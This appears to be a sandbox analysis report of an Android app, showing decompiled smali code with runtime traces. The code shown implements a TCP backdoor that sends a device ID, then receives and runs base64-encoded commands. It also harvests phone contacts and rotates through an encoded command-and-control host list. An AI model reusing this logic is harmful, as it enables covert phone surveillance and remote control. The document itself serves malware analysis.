                    70iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    72invoke-static {v0}, Lnet/vkurhandler/gj;->c(Lnet/vkurhandler/gj;)Ljava/net/Socket;
                    73move-result-object v0
                    74new-instance v1, Ljava/net/InetSocketAddress;
                    76iget-object v2, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    78invoke-static {v2}, Lnet/vkurhandler/gj;->b(Lnet/vkurhandler/gj;)Landroid/content/Context;
                    79move-result-object v2
                    81invoke-static {v2}, Lnet/vkurhandler/dc;->b(Landroid/content/Context;)Ljava/lang/String;
                    82move-result-object v2
                    83const/16 v3, 0x56ce
                    85invoke-direct {v1, v2, v3}, Ljava/net/InetSocketAddress;-><init>(Ljava/lang/String;I)V
                    86const/16 v2, 0x1388
                    88invoke-virtual {v0, v1, v2}, Ljava/net/Socket;->connect(Ljava/net/SocketAddress;I)V
                    90invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    91move-result v0
                    92if-eqz v0, :cond_85
                    94const-string v0, "TcpConnector"
                    96const-string v1, "send auth package"
                    98invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    99cond_85: new-instance v0, Ljava/lang/StringBuilder;
                    101const-string v1, "device_id="
                    103invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    105iget-object v1, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    107invoke-static {v1}, Lnet/vkurhandler/gj;->a(Lnet/vkurhandler/gj;)Ljava/lang/String;
                    108move-result-object v1
                    110invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    111move-result-object v0
                    113const-string v1, "\n"
                    115invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    116move-result-object v0
                    118iget-object v1, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    120invoke-static {v1}, Lnet/vkurhandler/gj;->c(Lnet/vkurhandler/gj;)Ljava/net/Socket;
                    121move-result-object v1
                    123invoke-virtual {v1}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
                    124move-result-object v1
                    126invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    127move-result-object v0
                    129invoke-virtual {v0}, Ljava/lang/String;->getBytes()[B
                    130move-result-object v0
                    132invoke-virtual {v1, v0}, Ljava/io/OutputStream;->write([B)V
                    134iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    136invoke-static {v0}, Lnet/vkurhandler/gj;->c(Lnet/vkurhandler/gj;)Ljava/net/Socket;
                    137move-result-object v0
                    139invoke-virtual {v0}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
                    140move-result-object v0
                    142invoke-virtual {v0}, Ljava/io/OutputStream;->flush()V
                    144invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    145move-result v0
                    146if-eqz v0, :cond_cb
                    148const-string v0, "TcpConnector"
                    150const-string v1, "try read inputstream"
                    152invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    153cond_cb: new-instance v7, Ljava/io/BufferedReader;
                    154new-instance v0, Ljava/io/InputStreamReader;
                    156iget-object v1, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    158invoke-static {v1}, Lnet/vkurhandler/gj;->c(Lnet/vkurhandler/gj;)Ljava/net/Socket;
                    159move-result-object v1
                    161invoke-virtual {v1}, Ljava/net/Socket;->getInputStream()Ljava/io/InputStream;
                    162move-result-object v1
                    164invoke-direct {v0, v1}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                    166invoke-direct {v7, v0}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                    167new-instance v0, Ljava/lang/String;
                    169invoke-direct {v0}, Ljava/lang/String;-><init>()V
                    170goto_e4:
                    171invoke-virtual {v7}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                    172try_end_e7: move-result-object v0
                    173if-nez v0, :cond_fc
                    174cond_ea:
                    175invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1272122
                      • Return:
                        • true
                    176move-result v0
                    177if-eqz v0, :cond_f7
                    179const-string v0, "TcpConnector"
                    181const-string v1, "sleep..."
                    183invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    184cond_f7:
                    185invoke-static {v8, v9}, Lnet/vkurhandler/gn;->a(J)V
                    186goto/16 :goto_3
                    187cond_fc:
                    188const-string v1, "p"
                    190invoke-virtual {v1, v0}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                    191move-result v1
                    192if-eqz v1, :cond_141
                    194iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    196invoke-static {v0}, Lnet/vkurhandler/gj;->c(Lnet/vkurhandler/gj;)Ljava/net/Socket;
                    197move-result-object v0
                    199invoke-virtual {v0}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
                    200move-result-object v0
                    202const-string v1, "p\n"
                    204invoke-virtual {v1}, Ljava/lang/String;->getBytes()[B
                    205move-result-object v1
                    207invoke-virtual {v0, v1}, Ljava/io/OutputStream;->write([B)V
                    209iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    211invoke-static {v0}, Lnet/vkurhandler/gj;->c(Lnet/vkurhandler/gj;)Ljava/net/Socket;
                    212move-result-object v0
                    214invoke-virtual {v0}, Ljava/net/Socket;->getOutputStream()Ljava/io/OutputStream;
                    215move-result-object v0
                    217invoke-virtual {v0}, Ljava/io/OutputStream;->flush()V
                    218try_end_124: goto/16 :goto_e4
                    219catch_125: move-exception v0
                    220try_start_126:
                    221iget-object v1, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    223invoke-virtual {v0}, Ljava/lang/Exception;->getMessage()Ljava/lang/String;
                    224move-result-object v0
                    226invoke-static {v1, v0}, Lnet/vkurhandler/gj;->b(Lnet/vkurhandler/gj;Ljava/lang/String;)V
                    227try_end_12f:
                    228invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    229move-result v0
                    230if-eqz v0, :cond_13c
                    232const-string v0, "TcpConnector"
                    234const-string v1, "sleep..."
                    236invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    237cond_13c:
                    238invoke-static {v8, v9}, Lnet/vkurhandler/gn;->a(J)V
                    239goto/16 :goto_3
                    240try_start_141:
                    241invoke-virtual {v0}, Ljava/lang/String;->length()I
                    242move-result v1
                    243if-lez v1, :cond_e4
                    245const-string v1, " "
                    247invoke-virtual {v0, v1}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                    248move-result-object v4
                    249array-length v1, v4
                    250if-ne v1, v10, :cond_e4
                    252invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    253move-result v1
                    254if-eqz v1, :cond_16a
                    256const-string v1, "TcpConnector"
                    257new-instance v2, Ljava/lang/StringBuilder;
                    259const-string v3, "command:"
                    261invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
                    263invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                    264move-result-object v0
                    266invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                    267move-result-object v0
                    269invoke-static {v1, v0}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    270cond_16a: const/4 v0, 0x1
                    271aget-object v0, v4, v0
                    272if-eqz v0, :cond_192
                    273const/4 v0, 0x1
                    274aget-object v0, v4, v0
                    276const-string v1, "base64:"
                    278invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                    279move-result v0
                    280if-eqz v0, :cond_192
                    281const/4 v0, 0x1
                    282new-instance v1, Ljava/lang/String;
                    283const/4 v2, 0x1
                    284aget-object v2, v4, v2
                    286const-string v3, "base64:"
                    288const-string v5, ""
                    290invoke-virtual {v2, v3, v5}, Ljava/lang/String;->replace(Ljava/lang/CharSequence;Ljava/lang/CharSequence;)Ljava/lang/String;
                    291move-result-object v2
                    292const/4 v3, 0x2
                    294invoke-static {v2, v3}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    295move-result-object v2
                    297invoke-direct {v1, v2}, Ljava/lang/String;-><init>([B)V
                    298aput-object v1, v4, v0
                    299cond_192: const/4 v0, 0x0
                    300aget-object v0, v4, v0
                    302invoke-static {v0}, Lnet/vkurhandler/dv;->a(Ljava/lang/String;)Z
                    303move-result v0
                    304if-eqz v0, :cond_1c1
                    306iget-object v0, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    308invoke-static {v0}, Lnet/vkurhandler/gj;->b(Lnet/vkurhandler/gj;)Landroid/content/Context;
                    309move-result-object v0
                    310const/4 v1, 0x0
                    311aget-object v1, v4, v1
                    312const/4 v2, 0x1
                    313aget-object v2, v4, v2
                    314const/4 v3, 0x2
                    315aget-object v3, v4, v3
                    317invoke-static {v0, v1, v2, v3}, Lnet/vkurhandler/dv;->a(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                    318try_end_1ad: goto/16 :goto_e4
                    319catchall_1af: move-exception v0
                    321invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    322move-result v1
                    323if-eqz v1, :cond_1bd
                    325const-string v1, "TcpConnector"
                    327const-string v2, "sleep..."
                    329invoke-static {v1, v2}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    330cond_1bd:
                    331invoke-static {v8, v9}, Lnet/vkurhandler/gn;->a(J)V
                    332throw v0
                    333try_start_1c1: new-instance v0, Lnet/vkurhandler/ah;
                    335iget-object v1, p0, Lnet/vkurhandler/gk;->a:Lnet/vkurhandler/gj;
                    337invoke-static {v1}, Lnet/vkurhandler/gj;->b(Lnet/vkurhandler/gj;)Landroid/content/Context;
                    338move-result-object v1
                    339const/4 v2, 0x0
                    340aget-object v2, v4, v2
                    341const/4 v3, 0x1
                    342aget-object v3, v4, v3
                    343const/4 v5, 0x2
                    344aget-object v4, v4, v5
                    345const/4 v5, 0x3
                    346const/4 v6, 0x0
                    348invoke-direct/range {v0 .. v6}, Lnet/vkurhandler/ah;-><init>(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;ILjava/lang/String;)V
                    350invoke-static {v0}, Lnet/vkurhandler/ah;->a(Ljava/lang/Runnable;)V
                    351try_end_1da: goto/16 :goto_e4
                    Cross References
                    APIs
                    • net.vkurhandler.al.d:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getInt
                    • net.vkurhandler.al.b:Landroid/content/Context
                    • net.vkurhandler.al.a
                    • net.vkurhandler.al.d:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putInt
                    • android.content.SharedPreferences$Editor.commit
                    • java.util.HashMap.<init>
                    • net.vkurhandler.al.b:Landroid/content/Context
                    • android.content.Context.getContentResolver
                    • android.provider.ContactsContract$CommonDataKinds$Phone.CONTENT_URI:Landroid/net/Uri
                    • android.content.ContentResolver.query
                    • android.database.Cursor.moveToNext
                    • android.database.Cursor.close
                    • java.util.Map.size
                    • java.lang.String.valueOf
                    • android.database.sqlite.SQLiteDatabase.beginTransaction
                    • java.util.Map.entrySet
                    • java.util.Set.iterator
                    • java.util.Iterator.hasNext
                    • android.database.sqlite.SQLiteDatabase.setTransactionSuccessful
                    • android.database.sqlite.SQLiteDatabase.inTransaction
                    • android.database.sqlite.SQLiteDatabase.endTransaction
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getString
                    • android.database.Cursor.getColumnIndex
                    • android.database.Cursor.getString
                    • android.text.TextUtils.isEmpty
                    • java.util.Map.containsKey
                    • java.util.Map.put
                    • android.database.sqlite.SQLiteDatabase.inTransaction
                    • android.database.sqlite.SQLiteDatabase.endTransaction
                    • java.util.Iterator.next
                    • android.content.ContentValues.<init>
                    • java.util.Map$Entry.getKey
                    • android.content.ContentValues.put
                    • java.util.Map$Entry.getValue
                    • android.content.ContentValues.put
                    • android.database.sqlite.SQLiteDatabase.insert
                    • android.database.sqlite.SQLiteDatabase.inTransaction
                    • android.database.sqlite.SQLiteDatabase.endTransaction
                    Strings
                    • last_saved_contact_id
                    • PhonebookContentObserver
                    • init contacts db with
                    • records
                    • data1
                    • display_name
                    • phone_number
                    • name
                    • contacts
                    Position Instruction Meta Information
                    0const/4 v8, 0x1
                    1const/4 v0, 0x0
                    2const/4 v1, 0x0
                    3sput-boolean v0, Lnet/vkurhandler/al;->a:Z
                    4try_start_5:
                    5iget-object v0, p0, Lnet/vkurhandler/al;->d:Landroid/content/SharedPreferences;
                    7const-string v2, "last_saved_contact_id"
                    8const/4 v3, 0x0
                    10invoke-interface {v0, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    11move-result v0
                    12if-nez v0, :cond_2d
                    14iget-object v0, p0, Lnet/vkurhandler/al;->b:Landroid/content/Context;
                    16invoke-static {v0}, Lnet/vkurhandler/al;->a(Landroid/content/Context;)Lnet/vkurhandler/am;
                    17move-result-object v0
                    18if-eqz v0, :cond_2d
                    19iget v2, v0, Lnet/vkurhandler/am;->c:I
                    20if-eqz v2, :cond_2d
                    22iget-object v2, p0, Lnet/vkurhandler/al;->d:Landroid/content/SharedPreferences;
                    24invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    25move-result-object v2
                    27const-string v3, "last_saved_contact_id"
                    28iget v0, v0, Lnet/vkurhandler/am;->c:I
                    30invoke-interface {v2, v3, v0}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
                    31move-result-object v0
                    33invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
                    34cond_2d:
                    35invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    36move-result-object v0
                    38invoke-virtual {v0}, Lnet/vkurhandler/ao;->b()Landroid/database/sqlite/SQLiteDatabase;
                    39try_end_34: move-result-object v6
                    40try_start_35: new-instance v7, Ljava/util/HashMap;
                    42invoke-direct {v7}, Ljava/util/HashMap;-><init>()V
                    44iget-object v0, p0, Lnet/vkurhandler/al;->b:Landroid/content/Context;
                    46invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                    47move-result-object v0
                    49sget-object v1, Landroid/provider/ContactsContract$CommonDataKinds$Phone;->CONTENT_URI:Landroid/net/Uri;
                    50const/4 v2, 0x0
                    51const/4 v3, 0x0
                    52const/4 v4, 0x0
                    53const/4 v5, 0x0
                    55invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor;
                    • Time: 1274407
                      • This:
                        • android.app.ContextImpl$ApplicationContentResolver@ba60466
                      • p0: content://com.android.contacts/data/phones
                      • p1: null
                      • p2: null
                      • p3: null
                      • p4: null
                      • Return:
                        • android.content.ContentResolver$CursorWrapperInner@134030c
                    56move-result-object v0
                    57goto_4a:
                    58invoke-interface {v0}, Landroid/database/Cursor;->moveToNext()Z
                    59move-result v1
                    60if-nez v1, :cond_9f
                    62invoke-interface {v0}, Landroid/database/Cursor;->close()V
                    64invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274466
                      • Return:
                        • true
                    65move-result v0
                    66if-eqz v0, :cond_76
                    68const-string v0, "PhonebookContentObserver"
                    69const/4 v1, 0x3
                    70new-array v1, v1, [Ljava/lang/String;
                    71const/4 v2, 0x0
                    73const-string v3, "init contacts db with "
                    74aput-object v3, v1, v2
                    75const/4 v2, 0x1
                    77invoke-interface {v7}, Ljava/util/Map;->size()I
                    78move-result v3
                    80invoke-static {v3}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    81move-result-object v3
                    82aput-object v3, v1, v2
                    83const/4 v2, 0x2
                    85const-string v3, " records"
                    86aput-object v3, v1, v2
                    88invoke-static {v0, v1}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    89cond_76:
                    90invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->beginTransaction()V
                    92invoke-interface {v7}, Ljava/util/Map;->entrySet()Ljava/util/Set;
                    93move-result-object v0
                    95invoke-interface {v0}, Ljava/util/Set;->iterator()Ljava/util/Iterator;
                    96move-result-object v2
                    97goto_81:
                    98invoke-interface {v2}, Ljava/util/Iterator;->hasNext()Z
                    99move-result v0
                    100if-nez v0, :cond_e1
                    102invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->setTransactionSuccessful()V
                    103try_end_8a: if-eqz v6, :cond_95
                    105invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->inTransaction()Z
                    106move-result v0
                    107if-eqz v0, :cond_95
                    109invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                    110cond_95:
                    111invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    112move-result-object v0
                    114invoke-virtual {v0}, Lnet/vkurhandler/ao;->c()V
                    115goto_9c: sput-boolean v8, Lnet/vkurhandler/al;->a:Z
                    116return-void
                    117cond_9f:
                    118const-string v1, "data1"
                    120invoke-interface {v0, v1}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    121move-result v1
                    123invoke-interface {v0, v1}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    124move-result-object v1
                    126const-string v2, "display_name"
                    128invoke-interface {v0, v2}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                    129move-result v2
                    131invoke-interface {v0, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                    132move-result-object v2
                    134invoke-static {v1}, Lnet/vkurhandler/gn;->d(Ljava/lang/String;)Ljava/lang/String;
                    135move-result-object v1
                    137invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    138move-result v3
                    139if-nez v3, :cond_4a
                    141invoke-interface {v7, v1}, Ljava/util/Map;->containsKey(Ljava/lang/Object;)Z
                    142move-result v3
                    143if-nez v3, :cond_4a
                    145invoke-interface {v7, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                    146try_end_c6: goto/16 :goto_4a
                    147catch_c7: move-exception v0
                    148move-object v1, v6
                    149goto_c9:
                    150const-string v2, "PhonebookContentObserver"
                    152invoke-static {v2, v0}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    153try_end_ce: if-eqz v1, :cond_d9
                    155invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->inTransaction()Z
                    156move-result v0
                    157if-eqz v0, :cond_d9
                    159invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                    160cond_d9:
                    161invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    162move-result-object v0
                    164invoke-virtual {v0}, Lnet/vkurhandler/ao;->c()V
                    165goto/16 :goto_9c
                    166cond_e1:
                    167invoke-interface {v2}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                    168move-result-object v0
                    169check-cast v0, Ljava/util/Map$Entry;
                    170new-instance v3, Landroid/content/ContentValues;
                    172invoke-direct {v3}, Landroid/content/ContentValues;-><init>()V
                    174const-string v4, "phone_number"
                    176invoke-interface {v0}, Ljava/util/Map$Entry;->getKey()Ljava/lang/Object;
                    177move-result-object v1
                    178check-cast v1, Ljava/lang/String;
                    180invoke-virtual {v3, v4, v1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                    182const-string v1, "name"
                    184invoke-interface {v0}, Ljava/util/Map$Entry;->getValue()Ljava/lang/Object;
                    185move-result-object v0
                    186check-cast v0, Ljava/lang/String;
                    188invoke-virtual {v3, v1, v0}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                    190const-string v0, "contacts"
                    191const/4 v1, 0x0
                    193invoke-virtual {v6, v0, v1, v3}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
                    194try_end_108: goto/16 :goto_81
                    195catchall_10a: move-exception v0
                    196goto_10b: if-eqz v6, :cond_116
                    198invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->inTransaction()Z
                    199move-result v1
                    200if-eqz v1, :cond_116
                    202invoke-virtual {v6}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                    203cond_116:
                    204invoke-static {}, Lnet/vkurhandler/ao;->a()Lnet/vkurhandler/ao;
                    205move-result-object v1
                    207invoke-virtual {v1}, Lnet/vkurhandler/ao;->c()V
                    208throw v0
                    209catchall_11e: move-exception v0
                    210move-object v6, v1
                    211goto/16 :goto_10b
                    212catchall_121: move-exception v0
                    213move-object v6, v1
                    214goto/16 :goto_10b
                    215catch_124: move-exception v0
                    216goto/16 :goto_c9
                    APIs
                    • android.content.SharedPreferences.edit
                    • java.lang.System.currentTimeMillis
                    • android.content.SharedPreferences$Editor.putLong
                    • android.content.SharedPreferences$Editor.apply
                    • java.lang.Boolean.booleanValue
                    • android.content.SharedPreferences.getString
                    • android.text.TextUtils.isEmpty
                    • org.json.JSONArray.<init>
                    • org.json.JSONArray.length
                    • org.json.JSONArray.length
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.apply
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.apply
                    • org.json.JSONArray.getString
                    • java.lang.String.<init>
                    • android.content.SharedPreferences.edit
                    • org.json.JSONArray.toString
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.apply
                    • android.content.SharedPreferences.edit
                    • android.content.SharedPreferences$Editor.putString
                    • android.content.SharedPreferences$Editor.apply
                    Strings
                    • Proxier
                    • start check
                    • last_check_proxy_list_date
                    • proxy_list
                    • try check host
                    • ["cnAudHJhY2tvbmxpbmUuY29tLnVh"]
                    • last_work_host
                    • set new host
                    Position Instruction Meta Information
                    0const/4 v2, 0x0
                    2invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274691
                      • Return:
                        • true
                    3move-result v0
                    4if-eqz v0, :cond_e
                    6const-string v0, "Proxier"
                    8const-string v1, "start check "
                    10invoke-static {v0, v1}, Lnet/vkurhandler/bn;->b(Ljava/lang/String;Ljava/lang/String;)V
                    11cond_e:
                    12iget-object v0, p0, Lnet/vkurhandler/dd;->a:Landroid/content/SharedPreferences;
                    14invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    15move-result-object v0
                    17const-string v1, "last_check_proxy_list_date"
                    19invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
                    20move-result-wide v4
                    22invoke-interface {v0, v1, v4, v5}, Landroid/content/SharedPreferences$Editor;->putLong(Ljava/lang/String;J)Landroid/content/SharedPreferences$Editor;
                    23move-result-object v0
                    25invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->apply()V
                    27sget-object v0, Lnet/vkurhandler/dc;->a:[Ljava/lang/String;
                    29sget-object v1, Lnet/vkurhandler/cd;->d:Ljava/lang/Boolean;
                    31invoke-virtual {v1}, Ljava/lang/Boolean;->booleanValue()Z
                    32move-result v1
                    33if-eqz v1, :cond_2d
                    35sget-object v0, Lnet/vkurhandler/dc;->b:[Ljava/lang/String;
                    36cond_2d: move v1, v2
                    37goto_2e: array-length v3, v0
                    38if-lt v1, v3, :cond_4c
                    40iget-object v0, p0, Lnet/vkurhandler/dd;->a:Landroid/content/SharedPreferences;
                    42const-string v1, "proxy_list"
                    43const/4 v3, 0x0
                    45invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    46move-result-object v0
                    48invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                    49move-result v1
                    50if-nez v1, :cond_4b
                    51try_start_40: new-instance v1, Lorg/json/JSONArray;
                    53invoke-direct {v1, v0}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                    54goto_45:
                    55invoke-virtual {v1}, Lorg/json/JSONArray;->length()I
                    56try_end_48: move-result v0
                    57if-lt v2, v0, :cond_b5
                    58goto_4b: return-void
                    59try_start_4c: aget-object v3, v0, v1
                    61invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    • Time: 1274739
                      • Return:
                        • true
                    62move-result v4
                    63if-eqz v4, :cond_64
                    65const-string v4, "Proxier"
                    66const/4 v5, 0x2
                    67new-array v5, v5, [Ljava/lang/String;
                    68const/4 v6, 0x0
                    70const-string v7, "try check host "
                    71aput-object v7, v5, v6
                    72const/4 v6, 0x1
                    73aput-object v3, v5, v6
                    75invoke-static {v4, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    76cond_64:
                    77iget-object v4, p0, Lnet/vkurhandler/dd;->b:Landroid/content/Context;
                    79invoke-static {v4, v3}, Lnet/vkurhandler/dc;->a(Landroid/content/Context;Ljava/lang/String;)Lorg/json/JSONArray;
                    80move-result-object v4
                    81if-eqz v4, :cond_b1
                    83invoke-virtual {v4}, Lorg/json/JSONArray;->length()I
                    84move-result v5
                    85if-lez v5, :cond_b1
                    87iget-object v5, p0, Lnet/vkurhandler/dd;->a:Landroid/content/SharedPreferences;
                    89invoke-interface {v5}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    90move-result-object v5
                    92const-string v6, "proxy_list"
                    94invoke-virtual {v4}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    • Time: 1275198
                      • This:
                        • ["cnAudHJhY2tvbmxpbmUuY29tLnVh"]
                      • Return:
                        • ["cnAudHJhY2tvbmxpbmUuY29tLnVh"]
                    95move-result-object v4
                    97invoke-interface {v5, v6, v4}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    98move-result-object v4
                    100invoke-interface {v4}, Landroid/content/SharedPreferences$Editor;->apply()V
                    102iget-object v4, p0, Lnet/vkurhandler/dd;->a:Landroid/content/SharedPreferences;
                    104invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    105move-result-object v4
                    107const-string v5, "last_work_host"
                    109invoke-interface {v4, v5, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    110move-result-object v4
                    112invoke-interface {v4}, Landroid/content/SharedPreferences$Editor;->apply()V
                    114invoke-static {}, Lnet/vkurhandler/bn;->a()Z
                    115move-result v4
                    116if-eqz v4, :cond_4b
                    118const-string v4, "Proxier"
                    119const/4 v5, 0x2
                    120new-array v5, v5, [Ljava/lang/String;
                    121const/4 v6, 0x0
                    123const-string v7, "set new host "
                    124aput-object v7, v5, v6
                    125const/4 v6, 0x1
                    126aput-object v3, v5, v6
                    128invoke-static {v4, v5}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;[Ljava/lang/String;)V
                    129try_end_aa: goto/16 :goto_4b
                    130catch_ab: move-exception v3
                    132const-string v4, "Proxier"
                    134invoke-static {v4, v3}, Lnet/vkurhandler/bn;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
                    135cond_b1: add-int/lit8 v1, v1, 0x1
                    136goto/16 :goto_2e
                    137cond_b5: new-instance v0, Ljava/lang/String;
                    139invoke-virtual {v1, v2}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String;
                    140move-result-object v3
                    141const/4 v4, 0x2
                    143invoke-static {v3, v4}, Lcom/a/a/a/j;->a(Ljava/lang/String;I)[B
                    144move-result-object v3
                    146invoke-direct {v0, v3}, Ljava/lang/String;-><init>([B)V
                    148iget-object v3, p0, Lnet/vkurhandler/dd;->b:Landroid/content/Context;
                    150invoke-static {v3, v0}, Lnet/vkurhandler/dc;->a(Landroid/content/Context;Ljava/lang/String;)Lorg/json/JSONArray;
                    151move-result-object v3
                    152if-eqz v3, :cond_103
                    154iget-object v4, p0, Lnet/vkurhandler/dd;->a:Landroid/content/SharedPreferences;
                    156invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    157move-result-object v4
                    159const-string v5, "proxy_list"
                    161invoke-virtual {v3}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                    162move-result-object v3
                    164invoke-interface {v4, v5, v3}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
                    165move-result-object v3
                    167invoke-interface {v3}, Landroid/content/SharedPreferences$Editor;->apply()V
                    169iget-object v3, p0, Lnet/vkurhandler/dd;->a:Landroid/content/SharedPreferences;
                    171invoke-interface {v3}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
                    172move-result-object v3
                    174const-string v4, "last_work_host"
